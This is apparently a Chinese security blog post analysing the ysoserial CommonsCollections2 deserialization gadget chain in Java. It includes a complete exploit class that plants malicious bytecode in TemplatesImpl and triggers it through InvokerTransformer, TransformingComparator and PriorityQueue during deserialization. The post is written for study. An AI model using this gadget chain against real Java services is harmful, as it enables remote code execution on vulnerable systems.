首页 > 编程语言 >Java反序列化 CC2链

Java反序列化 CC2链

时间:2023-12-06 22:01:33浏览次数:30  
标签:templates getDeclaredField set Java CC2 priorityQueue new 序列化

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java

环境搭建

CommonCollections4
jdk8u65

利用链分析

这条链子是利用invokerTransformer触发templates.newTransformer(),进而触发TemplatesImpl代码执行

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

Exp编写

CC3的代码执行+利用CC1执行要触发的函数,注意ysoserial没有用chainedTransformer数组
这也导致方法一使用不了,因为控制不了xxx.transform()里的参数,只能按程序流走,在对应的位置传参

public class TestCC2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //用invokerTransformer触发调用函数 = =
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        //方法一不行了,因为不用chainedTransformer数组
//        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
//        Field priorityQueueField = priorityQueueClass.getDeclaredField("size");
//        priorityQueueField.setAccessible(true);
//        priorityQueueField.set(priorityQueue,2);
        //方法二:队列里加俩元素,保证size值
        priorityQueue.add(templates);  //这里是跟完程序流发现在这里传参
        priorityQueue.add(2);

        Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize();


    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

CC3的代码执行+CC1的命令执行,特点在于没有使用chainedTransformer数组。
实际只是ysoserial在CC2没有使用chainedTransformer,想不用很多都可以,不过会如CC1里说过的,
非常麻烦。

标签:templates,getDeclaredField,set,Java,CC2,priorityQueue,new,序列化
From: https://www.cnblogs.com/jasper-sec/p/17880626.html

相关文章

  • Java反序列化 CC5链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java环境搭建Commons.Collections3.2.1jdk8u65利用链分析后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的/* Gadget......
  • java JDK7 Date
    packagenet.elaina.Date01;importjava.util.Date;importjava.util.Random;publicclassTest02{publicstaticvoidmain(String[]args){/*需求1:打印时间原点开始一年之后的时间需求2:定义任意两个Date对象,比较一下哪个时间在前,哪个时间在后*......
  • Java登陆第十九天——HTML规范与语法
    使用IDEA新建一个空的Web项目,并填写路径与项目名称进入项目后,在根目录新建一个HTML页面,取名为index就可以得到一个最基础的HTML页面在IDEA中,使用浏览器打开此页面页面内容如下:如何修改浏览器选项File-Settings-Tools-WebBrowsersHTML页面规范标签<>一对这样的......
  • JAVA操作Redis工具类
    importlombok.extern.slf4j.Slf4j;importorg.springframework.beans.factory.annotation.Autowired;importorg.springframework.data.redis.core.RedisTemplate;importorg.springframework.stereotype.Component;importorg.springframework.util.CollectionUtils;im......
  • java 序列话注解 @Transient
    java序列话注解@TransientJava序列化注解及其使用简介在Java程序中,对象的序列化是指将对象转换为字节流的过程,以便在网络上传输或保存到文件中。而反序列化则是将字节流重新转换为对象。Java提供了java.io.Serializable接口,用于标识可序列化的类。然而,有时我们希望......
  • java进行文件搜索的一个小案例
    分享一个小demo,可以查询某个文件目录下的某个文件并启动,来自黑马的IO教程importjava.io.File;importjava.io.IOException;publicclassApp3{publicstaticvoidmain(String[]args)throwsIOException{searchFile(newFile("D:/"),"pycharm64.exe");......
  • java中的关键字transient,将不需要序列化的属性前添加关键字transient,序列化对象的时候
    java中的关键字transient,将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化这个关键字的作用其实我在写java的序列化机制中曾经写过,不过那时候只是简单地认识,只要其简单的用法,没有深入的去分析。这篇文章就是去深入分析一下transient关键字。先......
  • Java第四课_循环和函数
    1.循环for/*for(初始化语句A;boolean类型表达式B;更改表达式C){循环体,就是需要被重复执行的代码;D}执行顺序:for-->A-->B-->|false:循环到此结束......
  • 使用百度完成gui的图像处理(需要下载百度的javasdk文档,主要工具带代码在sdk之中,以下代
    packageGui;importcom.baidu.aip.imageprocess.AipImageProcess;importorg.json.JSONObject;importjavax.imageio.ImageIO;importjavax.swing.*;importjava.awt.*;importjava.awt.event.ActionEvent;importjava.awt.event.ActionListener;importjava.awt.i......
  • 2023最新java面试题,包含答案。刷题必备!记录一下。
    好记性不如烂笔头内容来自面试宝典-java面试题合集问:什么是抽象类和接口?抽象类和接口是面向对象编程中的两个重要概念,它们在Java、C#等编程语言中得到了广泛的应用。以下是关于抽象类和接口的解释:抽象类(AbstractClass):抽象类是一个不能被实例化的类,通常用于作为其他类......